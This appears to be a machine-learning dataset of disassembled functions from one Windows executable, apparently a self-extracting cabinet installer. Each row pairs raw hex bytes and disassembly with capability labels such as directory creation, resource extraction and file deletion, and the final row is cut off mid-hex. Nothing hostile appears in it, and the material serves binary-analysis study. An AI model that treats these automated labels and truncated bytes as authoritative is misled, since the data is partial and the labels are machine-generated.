sha256
stringlengths 64
64
| func_addr
stringlengths 7
14
| capa
listlengths 1
30
| bytes
stringlengths 2
1.17M
| disasm
listlengths 1
116k
|
---|---|---|---|---|
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x40490c
|
[
"Create directory"
] |
8bff578bf98a0f84c9745c8a47015333db568d77023c3a750a803e5c75058d7703eb3c80f95c75093ac175056a025beb2e8d7701eb2b3c5c751c807eff3a741685db74034beb0f6a0057c60600ff15b4a04000c6065c56ff15eca140008bf08a0684c075d15e5b5fc3
|
[
"mov edi, edi",
"push edi",
"mov edi, ecx",
"mov cl, byte [edi]",
"test cl, cl",
"je 0x404973",
"mov al, byte [edi + 1]",
"push ebx",
"xor ebx, ebx",
"push esi",
"lea esi, [edi + 2]",
"cmp al, 0x3a",
"jne 0x40492f",
"cmp byte [esi], 0x5c",
"jne 0x40492f",
"lea esi, [edi + 3]",
"jmp 0x40496b",
"cmp cl, 0x5c",
"jne 0x40493d",
"cmp al, cl",
"jne 0x40493d",
"push 2",
"pop ebx",
"jmp 0x40496b",
"lea esi, [edi + 1]",
"jmp 0x40496d",
"cmp al, 0x5c",
"jne 0x404962",
"cmp byte [esi - 1], 0x3a",
"je 0x404962",
"test ebx, ebx",
"je 0x404953",
"dec ebx",
"jmp 0x404962",
"push 0",
"push edi",
"mov byte [esi], 0",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"mov byte [esi], 0x5c",
"push esi",
"call dword [sym.imp.USER32.dll_CharNextA]",
"mov esi, eax",
"mov al, byte [esi]",
"test al, al",
"jne 0x404942",
"pop esi",
"pop ebx",
"pop edi",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x404fe0
|
[
"Extract resource via kernel32 functions"
] |
8bff535633dbbe4c1340005333d28bcee89af6ffff6a0a5653a344914000ff15e0a040005053ff1528a1400050ff1518a14000a34091400085c00f8441010000a18485400085c0742e53684208000050ff1500a2400050ff15b4a140006a056841080000ff3584854000ff1500a2400050ff15b4a14000e8a1feffff85c0751c8b0d84854000baba040000536a105353e844f4ffff8bf3e98b0000005768489140006a0168c04b400068604b400068d04a400068504a4000688049400068c04c400068a04c4000ff1550a040008bf883c42485ff743268409140005368d04c400053684011400068cc81400057ff1544a040008bf083c41c85f6742a57ff1548a040005985c0751e8b15489140008b0d84854000536a1053538d9214050000e8b5f3ffff8bf35fa14091400085c0740d50ff15f4a04000891d4091400085f67519391dd89140007511536a105353baf804000033c9e87ff3fffff605388a400001751cf605349a4000017513535668a10f0000ff3584854000ff1504a240008bc65e5bc3
|
[
"mov edi, edi",
"push ebx",
"push esi",
"xor ebx, ebx",
"mov esi, 0x40134c",
"push ebx",
"xor edx, edx",
"mov ecx, esi",
"call fcn.0040468f",
"push 0xa",
"push esi",
"push ebx",
"mov dword [0x409144], eax",
"call dword [sym.imp.KERNEL32.dll_FindResourceA]",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_LoadResource]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_LockResource]",
"mov dword [0x409140], eax",
"test eax, eax",
"je 0x405161",
"mov eax, dword [0x408584]",
"test eax, eax",
"je 0x405057",
"push ebx",
"push 0x842",
"push eax",
"call dword [sym.imp.USER32.dll_GetDlgItem]",
"push eax",
"call dword [sym.imp.USER32.dll_ShowWindow]",
"push 5",
"push 0x841",
"push dword [0x408584]",
"call dword [sym.imp.USER32.dll_GetDlgItem]",
"push eax",
"call dword [sym.imp.USER32.dll_ShowWindow]",
"call fcn.00404efd",
"test eax, eax",
"jne 0x40507c",
"mov ecx, dword [0x408584]",
"mov edx, 0x4ba",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"call fcn.004044b9",
"mov esi, ebx",
"jmp 0x405107",
"push edi",
"push 0x409148",
"push 1",
"push 0x404bc0",
"push fcn.00404b60",
"push 0x404ad0",
"push 0x404a50",
"push fcn.00404980",
"push 0x404cc0",
"push 0x404ca0",
"call dword [sym.imp.Cabinet.dll_FDICreate]",
"mov edi, eax",
"add esp, 0x24",
"test edi, edi",
"je 0x4050e8",
"push 0x409140",
"push ebx",
"push 0x404cd0",
"push ebx",
"push 0x401140",
"push str.MEMCAB",
"push edi",
"call dword [sym.imp.Cabinet.dll_FDICopy]",
"mov esi, eax",
"add esp, 0x1c",
"test esi, esi",
"je 0x405106",
"push edi",
"call dword [sym.imp.Cabinet.dll_FDIDestroy]",
"pop ecx",
"test eax, eax",
"jne 0x405106",
"mov edx, dword [0x409148]",
"mov ecx, dword [0x408584]",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"lea edx, [edx + 0x514]",
"call fcn.004044b9",
"mov esi, ebx",
"pop edi",
"mov eax, dword [0x409140]",
"test eax, eax",
"je 0x40511d",
"push eax",
"call dword [sym.imp.KERNEL32.dll_FreeResource]",
"mov dword [0x409140], ebx",
"test esi, esi",
"jne 0x40513a",
"cmp dword [0x4091d8], ebx",
"jne 0x40513a",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4f8",
"xor ecx, ecx",
"call fcn.004044b9",
"test byte [0x408a38], 1",
"jne 0x40515f",
"test byte [0x409a34], 1",
"jne 0x40515f",
"push ebx",
"push esi",
"push 0xfa1",
"push dword [0x408584]",
"call dword [sym.imp.USER32.dll_SendMessageA]",
"mov eax, esi",
"pop esi",
"pop ebx",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x4052b6
|
[
"Delete file",
"Set current directory",
"Set file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc568b35e091400085f6744157833d248a4000008bfe751e833d309a40000075156880000000ff36ff1598a04000ff36ff157ca04000ff378b7604ff15a4a0400057ff15a4a0400085f675c15fa1208a40005e85c07458833d248a400000754f833d309a40000075465168e491400051ba040100008d8df8feffffe837c4fffff605349a400020740b8d8df8feffffe88a12000068fc114000ff15fca040008d8df8feffffe81cd0ffffa1208a400066833d409a400001740985c07405e855ccffff8b4dfc8325208a40000033cde8431900008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push esi",
"mov esi, dword [0x4091e0]",
"test esi, esi",
"je 0x405317",
"push edi",
"cmp dword [0x408a24], 0",
"mov edi, esi",
"jne 0x405300",
"cmp dword [0x409a30], 0",
"jne 0x405300",
"push 0x80",
"push dword [esi]",
"call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]",
"push dword [esi]",
"call dword [sym.imp.KERNEL32.dll_DeleteFileA]",
"push dword [edi]",
"mov esi, dword [esi + 4]",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"test esi, esi",
"jne 0x4052d7",
"pop edi",
"mov eax, dword [0x408a20]",
"pop esi",
"test eax, eax",
"je 0x405379",
"cmp dword [0x408a24], 0",
"jne 0x405379",
"cmp dword [0x409a30], 0",
"jne 0x405379",
"push ecx",
"push 0x4091e4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"test byte [0x409a34], 0x20",
"je 0x40535e",
"lea ecx, [ebp - 0x108]",
"call fcn.004065e8",
"push 0x4011fc",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"lea ecx, [ebp - 0x108]",
"call fcn.00402390",
"mov eax, dword [0x408a20]",
"cmp word [0x409a40], 1",
"je 0x40538c",
"test eax, eax",
"je 0x40538c",
"call fcn.00401fe1",
"mov ecx, dword [ebp - 4]",
"and dword [0x408a20], 0",
"xor ecx, ebp",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x4053a1
|
[
"Check if file exists",
"Create directory",
"Delete directory",
"Delete file",
"Get common file path",
"Get file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc5356578bf28bd933ff5768781340008d85f8feffff680401000050e848c3ffff83c410ba040100008bce4753e899c2ffff8d85f8feffffba04010000508bcee89011000056ff15a8a0400056ff1570a0400083f8ff744281ff900100007caa5633ff57688413400053ff153ca1400085c074115647ff157ca040006a0056ff15b4a040008b4dfc8bc75f5e33cd5be8971800008be55dc204006a0056ff15b4a0400085c074b933ff47893d208a4000ebd3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"mov esi, edx",
"mov ebx, ecx",
"xor edi, edi",
"push edi",
"push 0x401378",
"lea eax, [ebp - 0x108]",
"push 0x104",
"push eax",
"call fcn.0040171e",
"add esp, 0x10",
"mov edx, 0x104",
"mov ecx, esi",
"inc edi",
"push ebx",
"call fcn.00401680",
"lea eax, [ebp - 0x108]",
"mov edx, 0x104",
"push eax",
"mov ecx, esi",
"call fcn.0040658a",
"push esi",
"call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x40544f",
"cmp edi, 0x190",
"jl 0x4053bf",
"push esi",
"xor edi, edi",
"push edi",
"push 0x401384",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]",
"test eax, eax",
"je 0x40543a",
"push esi",
"inc edi",
"call dword [sym.imp.KERNEL32.dll_DeleteFileA]",
"push 0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"mov ecx, dword [ebp - 4]",
"mov eax, edi",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 4",
"push 0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"test eax, eax",
"je 0x405415",
"xor edi, edi",
"inc edi",
"mov dword [0x408a20], edi",
"jmp 0x40543a"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x4055a0
|
[
"Check if file exists",
"Create directory",
"Get common file path",
"Get disk information",
"Get file attributes",
"Set file attributes"
] |
8bff558bec81ec08010000a10480400033c58945fc53565733db33d253b9ec124000e8c8f0ffff8bf88d4f01516a40ff1550a140008bf085f67522536a105353bab504000033c9e8cdeeffffe8940c0000a32491400033c0e9ba020000578bd6b9ec124000e885f0ffff85c07524536a105353bab104000033c9e89aeeffff56ff15a4a04000c7052491400014070780ebc468c012400056ff15d4a0400033ff4785c07506893d309a400056ff15a4a04000a03e8b400084c0743b3c5c750a38053f8b40008bc374028bc75033d2b93e8b4000e8effdffff85c00f851b020000536a105353babe04000033c9e828eeffffe960ffffff391d248a40000f85fd010000391d309a40000f85f1010000bee4914000566804010000ff1500a1400085c074306a038bd78bcee899fdffff85c00f85c50100008bcee853cfffff85c07512578bd78bcee87cfdffff85c00f85a80100005168a413400051ba040100008d8df8feffffe877c0ffff80bdf8feffff5a0f8f550100008d85f8feffff50ff15d0a040008bf083fe06740583fe0375128d85f8feffff50ff1570a0400083f8ff753c83fe0275248a85f8feffff3c4174203c42741c8d8df8feffffe8f211000085c074073d0090010073138a85f8fefffffec08885f8feffffe9e6000000536a035a8d8df8feffffe8f001000085c075218d8df8feffffe894ceffff85c075cb538bd78d8df8feffffe8cf01000085c074b98d8df8feffffe873ceffff85c0741268040100008d85f8feffff50ff1594a0400068a8134000ba040100008d8df8feffffe8a20d00008d85f8feffff50ff1570a0400083f8ff7510538d85f8feffff50ff15b4a04000eb0383e01085c075168a85f8fefffffec0889dfbfeffff8885f8feffffeb3d6a028d85f8feffff50ff1598a04000518d85f8feffffbee49140005051ba040100008bcee831bfffff538bd78bcee80dfcffff85c0753d8a85f8feffff3c5a0f8eabfeffff68040100008d85f8feffff50ff1594a040006a046a035a8d8df8feffffe8ef00000085c00f855dfeffffe95bfdffff8bc7eb185353681032400053bad2070000e8660c0000f7d81bc0f7d88b4dfc5f5e33cd5be81c1400008be55dc3
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x108",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"push edi",
"xor ebx, ebx",
"xor edx, edx",
"push ebx",
"mov ecx, 0x4012ec",
"call fcn.0040468f",
"mov edi, eax",
"lea ecx, [edi + 1]",
"push ecx",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov esi, eax",
"test esi, esi",
"jne 0x4055fd",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4b5",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"jmp 0x4058b7",
"push edi",
"mov edx, esi",
"mov ecx, 0x4012ec",
"call fcn.0040468f",
"test eax, eax",
"jne 0x405632",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4b1",
"xor ecx, ecx",
"call fcn.004044b9",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov dword [0x409124], 0x80070714",
"jmp 0x4055f6",
"push 0x4012c0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_lstrcmpA]",
"xor edi, edi",
"inc edi",
"test eax, eax",
"jne 0x40564b",
"mov dword [0x409a30], edi",
"push esi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov al, byte [0x408b3e]",
"test al, al",
"je 0x405696",
"cmp al, 0x5c",
"jne 0x405669",
"cmp byte [0x408b3f], al",
"mov eax, ebx",
"je 0x40566b",
"mov eax, edi",
"push eax",
"xor edx, edx",
"mov ecx, 0x408b3e",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4be",
"xor ecx, ecx",
"call fcn.004044b9",
"jmp 0x4055f6",
"cmp dword [0x408a24], ebx",
"jne 0x40589f",
"cmp dword [0x409a30], ebx",
"jne 0x40589f",
"mov esi, 0x4091e4",
"push esi",
"push 0x104",
"call dword [sym.imp.KERNEL32.dll_GetTempPathA]",
"test eax, eax",
"je 0x4056f3",
"push 3",
"mov edx, edi",
"mov ecx, esi",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"mov ecx, esi",
"call fcn.00402630",
"test eax, eax",
"jne 0x4056f3",
"push edi",
"mov edx, edi",
"mov ecx, esi",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"push ecx",
"push 0x4013a4",
"push ecx",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.00401781",
"cmp byte [ebp - 0x108], 0x5a",
"jg 0x40586c",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]",
"mov esi, eax",
"cmp esi, 6",
"je 0x405730",
"cmp esi, 3",
"jne 0x405742",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"jne 0x40577e",
"cmp esi, 2",
"jne 0x40576b",
"mov al, byte [ebp - 0x108]",
"cmp al, 0x41",
"je 0x405771",
"cmp al, 0x42",
"je 0x405771",
"lea ecx, [ebp - 0x108]",
"call fcn.00406952",
"test eax, eax",
"je 0x40576b",
"cmp eax, 0x19000",
"jae 0x40577e",
"mov al, byte [ebp - 0x108]",
"inc al",
"mov byte [ebp - 0x108], al",
"jmp 0x405864",
"push ebx",
"push 3",
"pop edx",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"test eax, eax",
"jne 0x4057b2",
"lea ecx, [ebp - 0x108]",
"call fcn.00402630",
"test eax, eax",
"jne 0x40576b",
"push ebx",
"mov edx, edi",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"test eax, eax",
"je 0x40576b",
"lea ecx, [ebp - 0x108]",
"call fcn.00402630",
"test eax, eax",
"je 0x4057d3",
"push 0x104",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"push 0x4013a8",
"mov edx, 0x104",
"lea ecx, [ebp - 0x108]",
"call fcn.0040658a",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"jne 0x40580a",
"push ebx",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]",
"jmp 0x40580d",
"and eax, 0x10",
"test eax, eax",
"jne 0x405827",
"mov al, byte [ebp - 0x108]",
"inc al",
"mov byte [ebp - 0x105], bl",
"mov byte [ebp - 0x108], al",
"jmp 0x405864",
"push 2",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]",
"push ecx",
"lea eax, [ebp - 0x108]",
"mov esi, 0x4091e4",
"push eax",
"push ecx",
"mov edx, 0x104",
"mov ecx, esi",
"call fcn.00401781",
"push ebx",
"mov edx, edi",
"mov ecx, esi",
"call fcn.00405467",
"test eax, eax",
"jne 0x40589b",
"mov al, byte [ebp - 0x108]",
"cmp al, 0x5a",
"jle 0x405717",
"push 0x104",
"lea eax, [ebp - 0x108]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]",
"push 4",
"push 3",
"pop edx",
"lea ecx, [ebp - 0x108]",
"call fcn.0040597d",
"test eax, eax",
"jne 0x4056f3",
"jmp 0x4055f6",
"mov eax, edi",
"jmp 0x4058b7",
"push ebx",
"push ebx",
"push 0x403210",
"push ebx",
"mov edx, 0x7d2",
"call fcn.00406517",
"neg eax",
"sbb eax, eax",
"neg eax",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x4058c8
|
[
"Check if file exists",
"Get file attributes"
] |
8bff558bec515356578bf98bd78d4a018a024284c075f92bd18d7214566a40ff1550a140008bd885db752633f6bab5040000566a10565633c9e8b3ebffffe87a090000a32491400033c05f5e5b8be55dc3578bd68bcbe85dbdffff68b81340008bd68bcbe8590c000033f65668800000046a015656680000004053ff1508a14000538945fcff15a4a040008b45fc83f8ff74ab50ff1588a0400057ff1570a0400083f8ff7498a810749433c089352491400040eb95
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"push ecx",
"push ebx",
"push esi",
"push edi",
"mov edi, ecx",
"mov edx, edi",
"lea ecx, [edx + 1]",
"mov al, byte [edx]",
"inc edx",
"test al, al",
"jne 0x4058d8",
"sub edx, ecx",
"lea esi, [edx + 0x14]",
"push esi",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov ebx, eax",
"test ebx, ebx",
"jne 0x405919",
"xor esi, esi",
"mov edx, 0x4b5",
"push esi",
"push 0x10",
"push esi",
"push esi",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"pop edi",
"pop esi",
"pop ebx",
"mov esp, ebp",
"pop ebp",
"ret",
"push edi",
"mov edx, esi",
"mov ecx, ebx",
"call fcn.00401680",
"push 0x4013b8",
"mov edx, esi",
"mov ecx, ebx",
"call fcn.0040658a",
"xor esi, esi",
"push esi",
"push 0x4000080",
"push 1",
"push esi",
"push esi",
"push 0x40000000",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_CreateFileA]",
"push ebx",
"mov dword [ebp - 4], eax",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"mov eax, dword [ebp - 4]",
"cmp eax, 0xffffffff",
"je 0x405906",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CloseHandle]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]",
"cmp eax, 0xffffffff",
"je 0x405906",
"test al, 0x10",
"je 0x405906",
"xor eax, eax",
"mov dword [0x409124], esi",
"inc eax",
"jmp 0x405912"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x40597d
|
[
"Get common file path",
"Get disk information",
"Get disk size",
"Set current directory"
] |
8bff558bec81ec30030000a10480400033c58945fc53568d85f0feffff8995e0fcffff5068040100008bf1ff15f0a0400056ff15fca0400033db85c07522536a105353babc04000033c9e8edeaffffe8b4080000a32491400033c0e928020000578d85dcfcffff899de8fcffff508d85e4fcffff899decfcffff508d85ecfcffff899de4fcffff508d85e8fcffff899ddcfcffff5053ff155ca1400085c00f84800100008b85ecfcffff0faf85e8fcffff6800040000ffb5e4fcffff508985d8fcffffff1558a140008bf885ff0f845101000053538d85d4fcffff508d85d0fcffff5053535353ff15e8a0400085c07547bf000200008d85f0fcffff575350e82e18000083c40ce8fc07000053a3249140008d85f0fcffff575053ff156ca0400050536800100000ff1538a14000baf9040000e92e0100008d85f0feffff50ff15fca040008d4df46a068bc15a2bf08d42fc85c0740f8a040e84c0740888014183ea0175ea85d27501496a088819ba000200008b8dd8fcffff8bc35e3bca740803d240663bc672f4663bc67516536a105353bac504000033c9e89ee9ffffe9e2000000f605349a4000087429f785d4fcffff00800000741d8b0d389a40000fb7c0c1e9028b1485e089400003d2030d389a4000eb108b0d389a40000fb7c08b1485e08940008b85e0fcffff83e0033c0375078d04113bc7eb0ff685e0fcffff0174043bd7eb023bcf760f8d45f450518b4d08e8f7caffffeb6e33c0891d2491400040eb63bf000200008d85f0fcffff575350e8fb16000083c40ce8c906000053a3249140008d85f0fcffff575053ff156ca0400050536800100000ff1538a14000bab0040000536a108d85f0fcffff33c95056e8c4e8ffff8d85f0feffff50ff15fca0400033c05f8b4dfc5e33cd5be8cf1000008be55dc20400
|
[
"mov edi, edi",
"push ebp",
"mov ebp, esp",
"sub esp, 0x330",
"mov eax, dword [0x408004]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"push esi",
"lea eax, [ebp - 0x110]",
"mov dword [ebp - 0x320], edx",
"push eax",
"push 0x104",
"mov esi, ecx",
"call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]",
"push esi",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"xor ebx, ebx",
"test eax, eax",
"jne 0x4059dd",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4bc",
"xor ecx, ecx",
"call fcn.004044b9",
"call fcn.00406285",
"mov dword [0x409124], eax",
"xor eax, eax",
"jmp 0x405c05",
"push edi",
"lea eax, [ebp - 0x324]",
"mov dword [ebp - 0x318], ebx",
"push eax",
"lea eax, [ebp - 0x31c]",
"mov dword [ebp - 0x314], ebx",
"push eax",
"lea eax, [ebp - 0x314]",
"mov dword [ebp - 0x31c], ebx",
"push eax",
"lea eax, [ebp - 0x318]",
"mov dword [ebp - 0x324], ebx",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]",
"test eax, eax",
"je 0x405ba1",
"mov eax, dword [ebp - 0x314]",
"imul eax, dword [ebp - 0x318]",
"push 0x400",
"push dword [ebp - 0x31c]",
"push eax",
"mov dword [ebp - 0x328], eax",
"call dword [sym.imp.KERNEL32.dll_MulDiv]",
"mov edi, eax",
"test edi, edi",
"je 0x405ba1",
"push ebx",
"push ebx",
"lea eax, [ebp - 0x32c]",
"push eax",
"lea eax, [ebp - 0x330]",
"push eax",
"push ebx",
"push ebx",
"push ebx",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]",
"test eax, eax",
"jne 0x405ab5",
"mov edi, 0x200",
"lea eax, [ebp - 0x310]",
"push edi",
"push ebx",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0xc",
"call fcn.00406285",
"push ebx",
"mov dword [0x409124], eax",
"lea eax, [ebp - 0x310]",
"push edi",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"push eax",
"push ebx",
"push 0x1000",
"call dword [sym.imp.KERNEL32.dll_FormatMessageA]",
"mov edx, 0x4f9",
"jmp 0x405be3",
"lea eax, [ebp - 0x110]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"lea ecx, [ebp - 0xc]",
"push 6",
"mov eax, ecx",
"pop edx",
"sub esi, eax",
"lea eax, [edx - 4]",
"test eax, eax",
"je 0x405ae2",
"mov al, byte [esi + ecx]",
"test al, al",
"je 0x405ae2",
"mov byte [ecx], al",
"inc ecx",
"sub edx, 1",
"jne 0x405acc",
"test edx, edx",
"jne 0x405ae7",
"dec ecx",
"push 8",
"mov byte [ecx], bl",
"mov edx, 0x200",
"mov ecx, dword [ebp - 0x328]",
"mov eax, ebx",
"pop esi",
"cmp ecx, edx",
"je 0x405b05",
"add edx, edx",
"inc eax",
"cmp ax, si",
"jb 0x405af9",
"cmp ax, si",
"jne 0x405b20",
"push ebx",
"push 0x10",
"push ebx",
"push ebx",
"mov edx, 0x4c5",
"xor ecx, ecx",
"call fcn.004044b9",
"jmp 0x405c02",
"test byte [0x409a34], 8",
"je 0x405b52",
"test dword [ebp - 0x32c], 0x8000",
"je 0x405b52",
"mov ecx, dword [0x409a38]",
"movzx eax, ax",
"shr ecx, 2",
"mov edx, dword [eax*4 + 0x4089e0]",
"add edx, edx",
"add ecx, dword [0x409a38]",
"jmp 0x405b62",
"mov ecx, dword [0x409a38]",
"movzx eax, ax",
"mov edx, dword [eax*4 + 0x4089e0]",
"mov eax, dword [ebp - 0x320]",
"and eax, 3",
"cmp al, 3",
"jne 0x405b76",
"lea eax, [ecx + edx]",
"cmp eax, edi",
"jmp 0x405b85",
"test byte [ebp - 0x320], 1",
"je 0x405b83",
"cmp edx, edi",
"jmp 0x405b85",
"cmp ecx, edi",
"jbe 0x405b96",
"lea eax, [ebp - 0xc]",
"push eax",
"push ecx",
"mov ecx, dword [ebp + 8]",
"call fcn.0040268b",
"jmp 0x405c04",
"xor eax, eax",
"mov dword [0x409124], ebx",
"inc eax",
"jmp 0x405c04",
"mov edi, 0x200",
"lea eax, [ebp - 0x310]",
"push edi",
"push ebx",
"push eax",
"call sub.msvcrt.dll_memset",
"add esp, 0xc",
"call fcn.00406285",
"push ebx",
"mov dword [0x409124], eax",
"lea eax, [ebp - 0x310]",
"push edi",
"push eax",
"push ebx",
"call dword [sym.imp.KERNEL32.dll_GetLastError]",
"push eax",
"push ebx",
"push 0x1000",
"call dword [sym.imp.KERNEL32.dll_FormatMessageA]",
"mov edx, 0x4b0",
"push ebx",
"push 0x10",
"lea eax, [ebp - 0x310]",
"xor ecx, ecx",
"push eax",
"push esi",
"call fcn.004044b9",
"lea eax, [ebp - 0x110]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]",
"xor eax, eax",
"pop edi",
"mov ecx, dword [ebp - 4]",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.00406ce0",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
02d89cda0a49c29d9f700bb58de0c161340805fecd6c241b5cd4772e7327a46f
|
0x405c9e
|
[
"Terminate process"
] |
8bff558bec81ec10010000a10480400033c58945fc5333db56578d7b0185c90f844105000038190f843905000085ff0f84ff0000008a013c2074143c0974103c0d740c3c0a74083c0b74043c0c750b51ff15eca140008bc8ebdb898df4feffff84c00f84cc0000008b85f4feffff33d233c933f633db4285f6752e8a003c200f84910000003c090f84890000003c0d0f84810000003c0a747d3c0b74793c0c74758b85f4feffffeb0485db75698a003c2275368b85f4feffff80780122740f33c04085f675048bf0eb378bd8eb3381fa040100000f8383030000c6840df8feffff22416a024258eb1881fa040100000f836803000088840df8feffff4133c042400185f4feffff8b85f4feffff8038000f8561ffffff81f9040100000f8358040000c6840df8feffff0085f6745485db755433ff833d2c8a4000000f8421040000803d3e8b4000000f85140400006804010000683e8b4000ff353c9a4000ff159ca1400085c00f84f40300006a5c5ab93e8b4000e8b1080000c6400100e9e003000085db75ac8a85f8feffff3c2f74083c2d0f85c50200000fbe85f9feffff50ff15d0a140000fbec083e83f0f848003000083e8040f84a902000083e8010f84ed01000083e80a0f846101000083e8030f841001000083e80174204883e8010f84cc01000033ff8b8df4feffff8039000f8537feffffe939ffffff80bdfafeffff00751433c0c7052c9a40000300000040a3288a4000ebcf80bdfafeffff3a0f85960000008b8dfbfeffff33db43891d2c9a400084c974af8db5fbfeffff0fbec14650ff15d0a140000fbec083e841744e83e803744083e805743283e80574244883e801741283e803740433ffeb3f830d2c9a400004eb30810d488d400080000000eb2a83252c9a4000feeb1b83252c9a4000fdeb12830d488d400040eb0f6a025809052c9a4000891d288a40008a068ac884c07588e92cffffff6aff8d85f9feffff506aff33c068c813400040506a7fff1568a040004883e8010f8406ffffffe9fffeffff80bdfafeffff0075056a0258eb2f80bdfafeffff3a0f85e4feffff0fbe85fbfeffff50ff15d0a140003c3174dc3c4174093c5574d4e9c5feffff33c04066a3388a4000e9b9feffff80bdfafeffff00750d33c040a32c8a4000e9a3feffff80bdfafeffff3a0f8594feffff8b8dfbfeffff84c90f8488feffff8db5fbfeffff0fbec14650ff15d0a140000fbec083e84574246a02592bc1741383e80f740433ffeb1c33c040a3348a4000eb1233c040a3308a4000eb0833c040a32c8a40008a068ac884c075b9e936feffff80bdfafeffff3a0f8527feffff33db8db5f8feffff80bdfbfeffff220f94c383c30303f38bce8d51018a014184c075f92bca0f84fcfdffff8d95f0feffff899df0feffff8